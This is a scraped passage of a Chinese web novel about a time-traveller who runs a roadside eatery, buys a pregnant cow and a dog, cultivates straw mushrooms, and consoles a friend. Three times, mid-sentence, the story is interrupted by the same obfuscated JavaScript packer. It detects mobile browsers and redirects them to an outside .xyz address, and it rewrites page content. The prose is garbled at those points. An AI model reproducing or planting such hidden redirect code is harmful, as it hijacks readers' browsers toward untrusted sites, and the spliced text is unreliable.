云音洗了好多遍，才终于把它清洗干净，看着满满一大盆，她口水都要流下了。 上一次吃到地皮菜是什么时候来着？好像还是小时候吧，长大后再也没吃过了。想到那股鲜味，她迫不及待了。 地皮菜用来炒辣椒超级下饭，可云音目前没有辣椒，她打算换个做法炒鸡蛋，再煮一锅汤，今日的午食就齐活了。 她三两下把菜炒好，趁着还没客人来，叫上张林吃饭。 地皮菜炒鸡蛋金黄翠绿相间，滑溜溜的地皮菜包裹着鲜嫩爽滑的鸡蛋，让本就软嫩可口的鸡蛋带上一点韧劲，细细品味还能从中尝到山野的清香。 而地皮菜鸡蛋汤则又是完全不同的口感，软而薄的地皮菜咬在嘴里仿佛融化一般，还没来得及细细品尝，便融进嘴中，只来得及品尝到丝丝鲜甜。 简单的食材，却能带来如此丰富的口感，大自然的馈赠真是让人惊叹。 云音吃得很开心，倒是桌子另一头的张林道：“云娘子，这菜没什么吃头啊，我们之后要卖这个？” 对于张林来说，只要不是肉菜，他都不爱吃，所以他不喜欢这菜，云音也习以为常。 她摇头道：“这个菜清洗起来太麻烦，不适合拿去卖，而且卖的价格也很便宜，不如做些其他的菜。” “若是有老客户喜欢，我倒是也可以给他们做一份，不过不会大量出售。” 她吃完饭对他道：“现在有草菇了，这几天临江村那边肯定也会采摘不少，你明日过去看看，若是有人采摘，就收回来，我们继续做蘑菇酱。” 蘑菇酱还是很受欢迎，而且一罐子赚的也多，认真算下来其实是比卖点心赚的多，而且做法还比点心简单。 而且做好的蘑菇酱可以存放，保存好至少能存放一个月，对于长途跋涉的人也很友好，所以她还是要继续做。 自从她的厨艺被人认可后，她卖的蘑菇酱也不仅仅是学子和客商购买，县里的小娘子们也很喜欢，出去踏青时，带上一罐，只需要带点馒头或是面条，能美美吃上一餐，还不用带太多东西，所以她们也会采买。 普通百姓也会购买，肉酱对于他们来说还是太贵了，素蘑菇酱的价格他们还是能够接受的。素蘑菇酱虽然没有肉，但是油气也多，做菜时放上一勺，连油都能省去。 云音这次做的蘑菇酱与之前都不同，她也想多卖点给普通人家，打算用豆豉和草菇做成酱，这样或许会更受欢迎。 29. 第29间客栈 草菇肉质肥美，鲜香浓郁，一个个小骨朵的蘑菇就像一个个鸡蛋一般，切开从侧面看去，更像包裹着鸡蛋黄的鸡蛋。轻轻嗅了嗅，一股清香的味道传来，摸起来一股清凉感。 草菇上面长着点点黑黑的麻子，泡在水中搓一下就洗掉了，洗干净的草菇焯水去掉土腥气，捞出沥干切丁。 蘑菇酱的做法与之前类似，只是会多放一点豆豉，做出来的风味也与之前的完全不同。豆豉蘑菇酱她做了几罐，拿去给罗蔓试试，看看哪种更受欢迎，若是也有人喜欢豆豉蘑菇酱，她可以多做些拿去卖。 做完蘑菇酱，云音正打算休息，一条长长的队伍从官道那头过来。她抬眼看去，眼前一亮道：“这么多牛啊。” 从管道上迎面走来的是一队赶着牛的大部队，云音迎上去看着那群牛，个个骨骼粗壮，肌肉发达，毛色以黄色为主，当然也有几头黑白的。 云音看着这群牛，口水都要冒出来了，什么牛肉火锅、烤牛肉串、烤牛油，真的好想吃。可惜在大昭私自宰杀牛，会被判罪，只有意外死亡或者老死的牛才能在官府的允许下宰杀。 她只能看着这群牛流口水了，想吃只能用羊肉替代，看着越走越近的牛群，云音移开视线与领头的人目光对上，那人下马走过来道：“小娘子，不知是否有水？若是方便，能不能讨口水喝。” 这人叫铁木尔，是从西域过来的人。云音帮他装满水，好奇道：“你从西域过来，怎么不在长安停留？反而来了剑南道。” 从西域到剑南道走河西走廊先要到长安，再从长安走到剑南道，带着这么多牛，想必路途很艰辛，也不知他是怎么赶着这么多牛过来的。 铁木尔感谢一番，对她道：“我有同族的人在长安，我以前来过一次剑南道，认识了这里的人，这次是因为我在绵州的朋友需要牛，所以让我帮他运送一些。” 云音看看他身后的几十头牛道：“你的牛看起来很好。”感觉应该会很好吃。 她眨巴着大眼睛，盯着那牛看了许久，转移注意力道：“不知你的牛卖什么价格？” “不同年龄的牛价格不一样，优等牛和次一等的价格又不一样，要看具体牛的情况。” “小娘子是想要买牛吗？可以看看，我这次带来的牛有多的，你可以随意挑选。” 云音指了指在牛群里醒目的黑白花牛道：“那一头什么价格？” 铁木尔看着那头牛叹气道：“你若是想买牛种地，还是换一头吧，那头牛暂时无法耕作。” “明明从长安出发时一切安好，公牛和母牛也是分开管理的，谁知却出了意外，让一头母牛跑了。” 他摇摇头道：“我还以为找不回来了，没想到它自己又跑回来了，却怀孕了，只能等到下个城镇，把它卖掉。娘子若是想买牛，还是买一头健壮的牛，里面有很多牛都可以立刻投入使用。” 云音本来并没有打算现在买一头牛，只是想先问问价格，毕竟那一百亩地之前租借临江村的牛，已经种完，现在暂时还用不上牛。 听到他说那牛怀孕了，她立刻来了兴趣。 她卖的点心如今只做几种酥类点心，雪媚娘早没做了。一是如今天气热了，牛奶送过来不新鲜，二也是龙安县也没那么多正好在产奶的母牛。 想到这里，她对于这头怀孕的牛更加中意，她道：“嗯，我知道，我想知道这牛什么价格？” 铁木尔确认云音是真的感兴趣，他沉思片刻后道：“那头牛如今正好3岁，是头优质牛，若是没有怀孕，也能4贯多，你给个5贯钱吧，这个价格很合理的。” 5贯钱对于怀孕的牛来说确实是合理的价格，云音想想后道：“这母牛意外怀孕，不会对它有什么影响吧。” 铁木尔认真解释道：“只要不剧烈运动，不会有影响的，你给它多准备些草料，确保它的吃的好睡得好，保准不会有事。” 云音继续找铁木尔学一学养牛的注意事项，确定没有问题后，她还是找他买下这头牛。 送走铁木尔，云音叫来张林道：“下午建一个牛棚，我买了头牛回来。” 这头牛非常温顺乖巧，张林一直摩挲，那头牛也没有生气，他珍惜摸了摸牛的头道：“云娘子，建牛棚我倒是会，可我不会养牛啊，从前也没碰过牛，这可是贵重东西，我担心养不好，况且它还怀孕了。” 云音也没养过牛，但她刚刚已经问过铁木尔需要注意的地方，先暂时按照他说的做，“先按照卖牛的人说的做，之后我再找人问问，看能不能找个懂的人来负责。” “之后我也要养些别的东西，是时候雇人了。” 张林：“买人的话要找牙人吧，可是能买到懂养牛的人吗？” 云音也不知道能不能买到，“先找人问问，若是能买到最好，不能买到只能请教其他乡亲了。临江村和平江村都有养牛，实在不行也可以找他们请教一二。” 一下午的时间云音和张林都在建牛棚，终于赶在天黑前把牛棚建起来了。她放上干净的稻草，把牛关到牛棚，又给它放了草料，关上门道：“晚上还要你多注意一些，若是遇到事，记得叫我。” “过两天我买条狗回来看家，以后你不用这般辛苦。” 张林摇头道：“我倒是没问题，只是担心牛的安危，要是有人来偷牛怎么办，这牛这么贵重，我怕看不住。” “要不我在牛棚里睡吧，等娘子把狗买回来再回前面睡。” 云音摆手道：“不用太担心，我也会注意这边的，我住的地方能看到官道，若是有人过来，我也能看到。” 张林一步一回头，一脸担忧看着牛棚，直到云音催他，他才回了房间。云音最后再检查一遍，没发现什么问题，也回自己的房子。 次日一大早云音去临江村找里正登记牛的信息，若不早些登记，她担心忙起来忘了。 五月正是插秧的时候，云音一路走过，水田里都是插秧的人，看到他们，她又想起前不久插秧的事情，不停弯腰栽秧苗，一天下来腰都直不起来，真是比习武都累。 里正家里此时只有二娃在，他看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233681|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云音道：“云娘子你找我大父吗？我去帮你叫他，你坐一会儿吧。” 二娃给云音端了水，让她坐着，他一溜烟边跑边叫嚷，她一句话没说，他已经跑没影了。 云音一杯水没喝完，孙里正跟着他孙子回来，他颔首道：“云娘子可是有许久没来临江村，今日来可是有什么事情。” 自从云音收临江村的蘑菇，给乡亲们挣钱的机会，孙里正对她的态度也越来越和善，张林在村里行走也越发顺畅，这些都是托买蘑菇的福，孙里正对于云音的来意自然很上心。 云音对他笑笑道：“是这样的，我昨天买了头牛，过来找你登记。” 孙里正双眼微微瞪大，“云娘子的生意做的越发好了，连牛都买了。” “不过你怎么没把牛带过来，登记需要记录牛的具体信息，样貌，毛色这些都需要看过才能登记。” 云音只听卖牛的人提起要登记，没想到竟然这般麻烦，她叹气道：“那是头怀孕的母牛，不方便带过来。” 孙里正若有所思道：“不知云娘子的牛是在哪里买的？我没听说附近有怀孕的牛啊。” 孙里正管理着临江村和平江村，对于附近村子发生的事情他都能知道，至于其他地方他也会与其他里正互通有无，而母牛怀孕也是需要登记的事情，所以对于云娘子买到怀孕的牛有些好奇。 孙里正听完云音讲述经过，他颔首道：“原来是从长安来的，怪不得我没听说。既然如此，那我随你走一趟吧，正好我也看一看你的饭馆，你开店这么久我都没去看过。” 云音正打算与孙里正回去时，一穿着补丁的中年男子，牵着一只黑狗进了院子，那人并不知还有外人，直接道：“里正，我有事找你，你看看能不能帮我找个好一点的买家，我想把狗卖了。” 云音的脚步微顿，卖狗？她抬眼望去，一只浑身漆黑的狗蹲坐在主人身旁，眼神乖巧却也不失机灵。在云音看去时，那只狗也抬眼看了她一眼，仔细打量一番没有发现危险，放松下来继续挨着主人蹲好。 “老赵，你要卖狗？”孙里正走到他面前道，“这狗不是你的命根吗？之前有人想买你都舍不得卖，怎么现在想要卖狗了？” 老赵摸了摸大狗的头道：“我也不想卖它，可是我家老婆子生病，要花一大笔药钱，连我们都要省吃俭用，也是实在养不起它。” 那大狗仿佛听懂主人说得话，蹭了蹭主人的腿，给予他安慰。 “我想着你认识的人多，肯定能帮我寻个好主人。”老赵抹了抹眼睛道，“我不想卖给狗贩，不知他们会把狗卖到哪里去，所以只能来找你帮忙。” 老赵的媳妇儿生病，孙里正也是有所耳闻，只是没想到他们家已经如此艰难，连狗都要卖掉。 他沉思许久道：“我一时也找不到买家，之前想买狗的那户人家你有问问吗？” 老赵：“他们家已经买到，不需要我的狗。” 就在孙里正沉默时，云音上前道：“赵丈，你觉得我如何？我正好需要一只狗看家。” 30. 第30间客栈 张林从镇上回来时，一眼看见黑漆漆的大狗，他震惊道：“娘子，你这么快把狗买回来了？” 云音摸了摸狗的脑袋，让它放松，也让它认认人，“今日去找里正登记牛的信息，正好遇到有人卖狗，我看这个狗很健康，价钱也合适，就买回来了。” 大狗呜呜叫了几声，好似知道她在夸它健康，摇了摇尾巴冲着云音蹭蹭，这狗真的特别聪明，知道现在它的主人是谁，也开始对她撒娇，让云音十分喜欢，给它做的饭都放了不少肉。 云音把狗栓到狗屋，给它放了刚刚做好的狗饭，看它吃的很香，放心离开。 张林没想到云音速度这么快，连狗屋都做好了，他问：“这狗叫什么名字？” “叫黑豆，是它之前的主人取的。” 云音拍拍他道：“好了，如今家里多了两个成员，我们要更努力挣钱了。” 她之前想要种植草菇，那本种植大全上有讲解如何在家种植。当然很多方法都是速成的，比如买菌种之类的，云音只能自己培养菌种。 云音本想让张林试试，他直接摇头拒绝，说没听说过菌子还能种，他完全不懂，也不会种，即便她告诉张林种植方法，张林仍旧担心种不活。 云音只能自己尝试，好在之前采摘到的开伞草菇，她一早从中取到了孢子，这些孢子可以拿来用。 培养料需要的稻草她也浸泡好了，之后是给稻草消毒，然后把煮好的稻草放到簸箕中，自然冷却到常温即可。 容器云音准备的是木箱，在木箱底部铺上一层刚刚冷却的稻草，把带有孢子的纸铺在稻草上，接着继续往上铺稻草，放孢子，如此往复堆4层。 然后把这些木箱放到搭建好的竹棚里，阳光能从缝隙中进入，但却晒不到木箱。之后时不时喷洒一些凉水，保持稻草湿润，这样就算接种完成，接下来看是否能成功，若是有菌丝长出来便算成功。 云音每天都要巡视这个蘑菇房，观察它是否有长出菌丝。终于在7天后，看到稻草中长出丝丝缕缕的白色菌丝。 当然也不是每个都成功长出菌丝，也有长出杂菌变质的，这些失败的需要重新种植，木箱也要用开水烫之后暴晒，以免存有杂菌。 虽然每次开箱都很忐忑，但看到成功的那些木箱，还是觉得很有成就感。 云音每日除了做饭就是照顾那些菌菇，连菌子也不去采了，心心念念等着草菇长出来。 终于在第十天时，她看到一朵朵从草堆里冒头的草菇。 一个个圆滚滚的草菇如同小士兵一样，整整齐齐站在木箱里，云音“哇”地一声惊呼出声，在出声的瞬间捂住嘴唇，生怕一不小心惊到这些小精灵。 冒出头的草菇生长速度会很快，必须要在它们开伞前采摘，否则会很快开伞无法吃了。 自此云音每日醒来第一件事就是去采摘草菇，偶尔半夜也要去采一回，看着背篓里的一堆草菇，她笑得牙齿都露出来了。 种植成功后，云音不用等下雨才能采摘草菇了，只要温度和湿度合适，她用这种方法可以种出来。 虽然产量比不上现代培育的，但对于她来说已经够用了，加上还有从村民那里收来的菌子，如今她的蘑菇酱已经不缺蘑菇了。 罗蔓知道云音自己种草菇时很吃惊，她特意抽时间过来，看到竹屋里搭成的架子，上面摆满了密密麻麻的木箱，里面果然长了不少草菇。 她赞叹道：“妹子可真厉害，草菇都能自己种出来，还是你聪明，这样不用担心蘑菇不够用了。” 云音哪里能担得起她的夸奖，她不过是站在巨人的肩膀上，这些都是前人摸索出来的，她只是拿来用罢了。 她连忙摆手道：“阿蔓姐快别夸了，我也是在某本书里看到过这种方法罢了，试了试果然可以。” “还有这样的书？”罗蔓好奇道，“也不知娘子在哪里看到，我也想买一本看看。” 云音自然不能告诉她，她的书是从现代带过来的，她羞赧一笑道：“这我也不太记得了，只是偶然间看到的。” 罗蔓见她脸都红了，转移话题道：“云娘子以前是在大户人家里做事吗？” 这个问题罗蔓一早就想问了，之前与云音不熟，也没好意思问，如今和她熟悉之后，发现她是个很纯粹的人，并不会介意这些，她也好意思问出口了。 云音嘴巴微微张了张，半晌道：“阿蔓姐怎么会如此猜测？” 她仔细想了想，她以前也没有注意这些，竟然不知罗娘子竟是这样想的。 罗蔓回忆了一下，喃喃道：“难道不是吗？” “我第一次见你时，见你举手投足间很是优雅，谈吐也自信大方，不像是普通人家的女孩子。” 云音回想她刚来大昭时的场景，明明也不过才两个多月，她竟然有种恍如隔世之感。明白罗蔓是什么意思后，她仔细回想，才想起来当初是因为拍戏，那时她扮演的是大户人家的侍女，特意学了这方面的礼仪，刚来到大昭时，她担心露出马脚，用了拍戏时学到的东西。 没想到竟然让罗娘子误会了，她连忙摆手道：“我只是普通人家的女孩，并不是从大户人家里出来的。” 罗蔓虽然惊讶，但她与云音相交并不是看重她的身份，她颔首道：“普通人家的女孩也挺好的，只要能自立，没什么好怕的。我们不比官宦人家的女子差多少。” 云音察觉到罗蔓话中有话，她迟疑片刻道：“阿蔓姐这是怎么了？” 罗蔓与云音坐在竹棚外的草地，看着天空漂浮的云彩，沉默许久才道：“我今日也是趁着来看你的草菇，过来换换心情。” “这些话我也不知能与谁说，从前的手帕交都各自成婚，每日忙活自己家里的事都忙不过来，我也不好打扰她们的生活。” 她垂眸道：“昨日宋时的娘亲过来找我了。” 云音抬头看向她，见她神情平静，并没有因宋时的娘亲出现而产生波澜。 “她娘亲是体面人，自然不会说什么难听的话，但也提到他们家正在给宋时相看姑娘，希望能在宋萱出嫁前，把他的婚事定下来。” 云音担忧看向她：“宋时知道吗？” 罗蔓摇头道：“我不知道他是否知道，不过不管他知不知道，这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233682|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都与我无关。我也是这样告诉主簿娘子的，我与宋时只不过是食客与厨子的关系，他喜欢我做的美食，我给他做美食而已。” “至于宋时怎么想的，我并不能左右。我已经拒绝过他了，他仍然不放弃这不是我能决定的。” 云音拍了拍她手道：“是啊，你都拒绝了，主簿娘子怎么都不应该找你。” 罗蔓深呼口气道：“虽然我并不因此感到难堪，但还是觉得透不过气，今日与你说一说，心情都好了许多。” “谢谢你听我说这些。”罗蔓感激看着云音道，“当初买下你的野菜是正确的，我又多了一个好友呢。” 云音见她转眼间便打起了精神，也不再提那些伤心事，附和她道：“嗯，我也很开心又多了个好友。” 如今她已经有两个好友，或许以后她还会结交更多的人，但她永远感激当初罗蔓收下她的蘑菇酱，让她能在大昭落脚。 今日罗蔓心情不好，云音也想做点好吃的让她开心起来，她拿出今日一早买的野樱桃，加糖熬成樱桃酱。 野樱桃没有种植的樱桃甜，味道偏酸，所以要多放点糖才能吃。 然后再用澄粉揉成面团，擀出一个个圆形的面皮，裹上熬制好的樱桃酱，放到锅里蒸熟，一盘简单美味的樱桃毕罗出锅。 除了樱桃毕罗，云音还准备了一壶桃花酿。 她刚到大昭没多久，在深山里发现一株桃树，开了满树桃花，那时她还不知道会一直留在这里，但不想错过这些桃花，她挑选了一些晒干保存了。 后来她决定留在这里，想着桃花可以酿酒，她用新鲜的桃花和干桃花各酿了一坛酒。 此时正是能喝的时候，云音从玻璃罐里倒出粉粉嫩嫩的酒液，装上做好的樱桃毕罗来到罗蔓身旁道：“阿蔓姐，我请你喝酒吃点心。” 洁白的瓷杯里好似装满芳菲，轻轻嗅一嗅仿佛置身桃林一般，空气中弥散着淡雅香气，沁人心脾。 罗蔓看着这杯桃花酿，一天的坏心情仿佛被这花香拂去，她啜饮一口，清甜的滋味散开，让人不知不觉沉醉其中。 云音看着一杯接一杯喝的罗蔓，从食盒里端出樱桃毕罗，招呼她道：“阿蔓姐，别只喝酒啊，吃点心。” 罗蔓回过神，放下酒盏，看着小巧可爱宛如美人般晶莹剔透的点心，夹起一个尝了尝，颔首道：“好吃，很甜。” 喝着桃花酿，吃着樱桃毕罗，罗蔓渐渐放松下来，脸上也多了些笑容，她长叹一声道：“突然觉得这世上没什么事是过不去的，吃着你精心准备的点心，我觉得日后还有许多值得我在意的，没必要为那些小事不开心。” 她举起酒盏，敬云音：“有你这个知己，当浮一大白。” 云音也举起酒杯回敬罗蔓，二人喝着小酒吹着小风，一切烦恼随风而去。 二人越喝越尽兴，罗蔓时不时与她说一些趣事，就连云音也被逗得哈哈大笑。 就在她们说说笑笑时，宋时低垂着头站在她们身后，罗蔓并未瞧见，云音倒是看见了，但看着已经有些醉意的罗蔓，她起身走到宋时身边道：“你过来有事吗？” 31. 第31间客栈 云音并不想让宋时打扰到罗蔓，她好不容易才忘记不开心的事情，见到宋时恐怕又会想起来。 罗蔓已经拒绝宋时，而且宋时也知道，他们想要在一起并不容易，云音也不知该如何劝说，她只觉得左右为难。 没有谈过恋爱的云音并不知道，有时不是说放弃就能放弃，喜欢这种事情也不是说说就能不喜欢的。 不过宋时还是觉得抱歉，因为自己的缘故，给罗蔓带来麻烦，他看着云音道：“能让我与罗娘子说几句话吗？说完我就走。” 云音有些为难道：“现在阿蔓姐不方便见你，要不等她酒醒了你再与她说。” 宋时还想再说几句，倒是那头的罗蔓睁开眼睛，眼中一片清明，哪有一丝醉意。她不想让云音为难，对宋时道：“我们去旁边说吧。” 宋时连忙追上她的脚步，两人去一旁说话了。 云音看着二人叹气，心中不得不庆幸，幸好她没有喜欢的人，不用陷入这些纠缠中。 她喝着桃花酿，捡一棵红彤彤的小樱桃，蘸着碟子里的糖一颗颗吃着。 看到粉嫩清纯的桃花酿，云音想到那颗桃树，不知桃子结果没，看来要抽时间去看看。 清风拂过，阳光透过树荫打在她脸上，她有些昏昏欲睡，想着离做晚食还有许久，她索性放纵一二，往草地上一趟，慢慢睡过去，睡前还想着罗蔓与宋时的事情，也不知做了什么梦，她醒来时好半晌反应不过来。 此时宋时早已不在，只有罗蔓一个人自斟自酌。她掀开头顶的草帽，揉了揉头道：“阿蔓姐，你酒量可真好。” 一瓶桃花酿，她只喝了三杯，其他都是罗蔓喝的，她都有些微醺，罗蔓仍然精神奕奕。 罗蔓无奈笑笑：“这只是米酒酿的，又不醉人，是阿妹你的酒量太浅。” 云音起来喝杯水润润喉咙，不好意思笑笑，“宋时与你说什么了？” 罗蔓耸耸肩：“给我道歉，他说与家人商量好了，若是他能考中进士，他家人就不再干涉他的婚姻。” “他就这样相信了？”云音怎么想都觉得不可能，恐怕考中进士后更要干涉了。 罗蔓摇头道：“不管怎么说，他努力学习也是好事，就算考不中进士，也能学到知识。” 云音：“只能祝他好运了，听说进士很难考，万里挑一也不为过。” “考不上进士还可以考明经，只要考过明经，他能接替他父亲成为县里的主簿，这样也挺好的。”罗蔓笑笑道，“好了，不说他了。我听人说，妹子要重新建饭馆，有认识的工匠吗？” 提到这个，云音还真不知从何入手，如今她的钱够建三间房，她想着先建起来。天气越来越热，再在外面吃饭，也受不了，她许多熟客都不愿意大热天从县里出来。 建饭馆一事势在必行，听罗蔓提到此事，她正好问问：“阿蔓姐熟悉龙安县，有什么认识的人吗？” “我倒真认识一个都料匠。”罗蔓仔细给她解释道，“他是我的客户，若是你想建房子，找他最为妥当。” “他可不是普通工匠，他不仅能画图，还能帮你联系各种材料商，而且你请都料匠帮你建房子，也不用你找石匠木匠了，他都能帮你解决。” 云音越听眼睛越亮，这不就是现代的包工头，而且还不用另外找设计师，人家自己都会，她连忙追问道：“不知这位现在有时间吗？” 罗蔓：“应该是有时间的，我回去帮你问问，若是他有空，我让人给你传话。” 建房子的人有了着落，会养殖的人却还没消息，官府里倒是有专门养殖的人，可她也用不了，云音不得不再次求助罗蔓。 “你需要养什么？若是养羊的话，我那里就有合适的人。” 云音：“我买了头牛，如今正怀孕呢，我需要懂行的人，到时候能帮忙接生。后面可能会养一些水产品，所以才想专门雇佣人帮忙。” 罗蔓眉头紧皱，“这样的人可不好找，我还没见过别人专门养鱼，只有大户人家才有懂的人，一般人都是直接在平江打捞的。” “这样吧，你等我回去帮你问问，若是没有，你可以先找人帮你看着牛，若是有问题，可以找县城的大夫看，他们多少都懂一些。” 云音再三感谢罗蔓，送走她后，她也收拾收拾去做晚食，至于j建房子的事情就等她的消息了。 翌日一大早，云音跟张林打了声招呼，背着背篓进了山，清晨山里的气候很凉爽，清风吹过拂去浑身燥热，她也加快脚步往更里面走。 穿过泉水，又走了一段路才在山里看到一个湖泊，这个湖并不是很大，也不深，湖面还漂浮着些许青苔，云音能看见许多鱼在里面游荡。 这里的鱼比她住的地方的鱼多，毕竟那条小溪连接平江，平江水势上涨时，小溪里的水也会上涨，鱼儿也会随之流动。 平时还好，夏日雨多，溪水水量常常上涨，也不好打捞鱼，好在她在山里发现这个湖泊，如今云音做饭用的鱼都是从这个湖里捞的。 这里环境适宜，前面不远处还有一个瀑布，并不缺水源，若是能找到会养鱼的人，她还想在这里养鱼，当然她只是想想而已，暂时她还没钱也没这个精力。 不过她可以在这里打上木桩，挂上渔网，在这里养一些鲈鱼，九月是吃鲈鱼的最近季节，提前准备一些，到时候也可以赚一笔。 至于其他的鱼价格低廉，她找村里的人收购更划算。 巡视完湖泊，云音继续往旁边山林走去，那里长着一棵桃树。 此时树上已经挂了不少果子，已经有不少红了。野生桃子比自家种植的小很多，桃子身上布满密密麻麻的绒毛，还好她对绒毛不过敏，不然碰到这绒毛肯定浑身发痒。 云音选了一个看起来最红的摘下来，用水洗干净，轻轻咬上一口，果肉清脆，酸中带一丝丝苦，并不是很好吃。 桃子的味道倒是非常浓郁，吃到嘴里却略微有点涩口，甜度也不高，直接吃口感一般。 云音沉默吃完一整个，这一树的桃子放弃也太可惜了，大昭的水果可不是随随便便就能买到的，想吃水果得去县城才能买到，她上次能买到樱桃还是有农户从官道经过，这才被她买下了。 看着挂满枝头的桃子，云音擦了擦嘴，还是打算全部摘了，送给过路的人吃也是好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233683|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，总比烂在地里强。 这桃子真的很能长，不过一矮矮一棵不大的树，结出来的桃子能把树枝压弯。云音原谅它的口感问题，数量充足就是它最大的优点。 装了满满一背篓，树上还有许多，她实在装不下，只能等下次再来。 摘完桃子，云音往旁边走去，她之前就看到树林里面有绿油油的果子，不清楚是什么，过去看看。 还没靠近便闻到一股浓郁的果香，她拿开挡着视线的树枝，看着眼前高大的树木上长着圆滚滚的青梅，她的嘴里也情不自禁泛酸。 摘一颗在袖子上擦几下，一口咬下，那酸味直逼天灵盖，她的魂都要被这梅子酸出来了，嘴里也不停分泌唾沫，她吐了吐舌头，一点点把那颗酸梅子吃了。 青梅虽酸，但拿来泡酒味道非常好，这一棵树上的青梅够她泡许多瓶了。 找一根粗一些的棍子，把树上的梅子敲下来，梅子掉到地上被厚厚的树叶保护，并不会受伤。所有掉下来的梅子用竹筐装好，提着梅子背着桃子回了山下的饭馆。 此时张林在厨房煮面忙个不停，一旁吃面的客人看到她提的青梅和桃子道：“你这在哪里摘的，这么多。” 云音笑笑：“就在山里摘的，你要尝一尝吗？” 那食客拿了一棵青梅尝了尝，嘶了一声道：“好酸啊，你要做梅子干吗？” “青梅还是太酸了，不如吃杏子，再过半个月，我家里种的杏子就熟了。” 云音清洗毛桃的动作停了停，“你自己种的杏子吗？” “是啊，自家种的。”那食客吃完一颗又拿了一颗，明明被酸的脸都皱成一团，仍然不放弃继续吃。 他放缓动作，一点点咬着，见云音感兴趣，他道：“你店里需要吗？若是需要，我到时候可以卖一点给你，比这梅子好吃多了。” 云音对这个说着不好吃，但却吃个不停的人沉默许久，继续清洗毛桃上的绒毛，“杏子价格多少？” “不贵不贵，”那食客憨憨一笑道，“你买的多我还能给你便宜。” 云音听到他说一斤三文，这价格确实不算贵，买一些也可以，若是吃不完也能拿来做果脯，她颔首道：“那行，等成熟你帮我送一些过来，你怎么送来？” “我就住江对面，用竹筏便能送过来。”那人见做了一笔生意，喜气洋洋道，“娘子你放心，我家里的杏子绝对甜，可比你折腾这梅子强。” 云音不知该说什么才好，她尴尬笑笑不说话，重新倒水把桃子又洗了一遍。 这桃子就是这样，毛发特别浓密，非常难洗，她换了几次水才洗的差不多，云音见那人吃完饭还没走，端过去一盘桃子道：“野桃子，不不怎么甜，送你尝尝。” 那人拿一个桃子试了试，他呸呸两下，“这哪里是不甜啊，我觉得还有点苦，娘子究竟在哪里摘的桃子，也太难吃了吧。我们村里有户人家种的桃子非常甜，可惜和我的杏子一样，不好卖，平时都是我们村里人自家吃，娘子若是想要桃子，好说啊，我也给你带一些过来。” 云音给所有食客送完桃子，坐到他桌前道：“你们村里还有什么水果？” 32. 第32间客栈 “那可多了，桑葚、杏子、桃子。”他一口气说完，喘口气道，“哦，对了还有葡萄，我们村子里也有人种。” 云音好奇看着他，“你们村里怎么种了这么多水果？” 一般来说，农户家里能种一些常见品种的都很难得，而他们村子里竟然种了这么多水果。 她追问道：“你是对面哪个村子的？” 那人指了指江对面道：“就对面乐桃村的啊，难道云娘子你不认识我？” 云音一头雾水看着他道：“额，我应该认识吗？” 他拍拍头道：“哎呀，忘记与你说了，我叫郑东，之前林子哥去乐桃村还是我带的路呢。” 他对煮面的张林挤了挤眼睛道：“是吧，林子哥。当时他过来收蘑菇，因为是个生面孔，村子里的人还不敢相信，差点还打起来了，还是我带着他进村的。” 张林听到郑东的话，对云音点头道：“嗯，确实是这样。” “你怎么没跟我说？怎么会差点打起来。” 郑东摸摸鼻子不好意思道：“哎呀，这事说来话长。” “你以为我们村为何会种那么多水果，还不是之前有一队商人，在我们村子落脚，正好他们运送水果去州城，看到我们村子环境好，就让我们种水果，说种下了的水果他们会来收。” “虽然果树苗他们送了一些，但我们也是花了很多功夫才把这些果树种活，又过了好几年才开始结果子。” 云音挑眉道：“那商队的人没来收？” “云娘子是个聪明人。”郑东一拍大腿道，“可惜我们不懂，就算里正提醒过，但村子里的人也想多存点钱，所以还是没听里正的。结果果子都长出来了，那人竟然没来。” “你们不签契书吗？”她一边听一边给青梅去果蒂，头也不抬道，“我跟你们收蘑菇，那么一点数量，我都跟你们签了契约。” “签契约对我们双方都有保障，我不用担心你们交不了货，你们也不用担心我不给钱。” 郑东叹气道：“没人懂啊，我们村里又没有读书人，里正知道的时候，村里的人已经把树苗种下去了。” “好在树苗都没要钱，只是浪费乡亲们的精力罢了。” 另一桌的食客听到这话，抬头追问道：“那你们村怎么不把水果运到县城去卖？” “县城的水果卖的可贵了，都是大户人家才能吃得起，我们平时吃点野果都很难得了。”他咬了一口野桃，眯着眼睛道，“这桃子还挺好吃的。” 他一边吃一边等着郑东继续讲。 郑东顺着他话道：“我们当然送县里里卖了，但也只能卖卖桃子和杏子，其他水果用板车运过去太容易坏了。” “你们当时种的时候怎么不想想这个问题，若是你们早点想到，也不会白费功夫了。”那食客恨铁不成钢道。 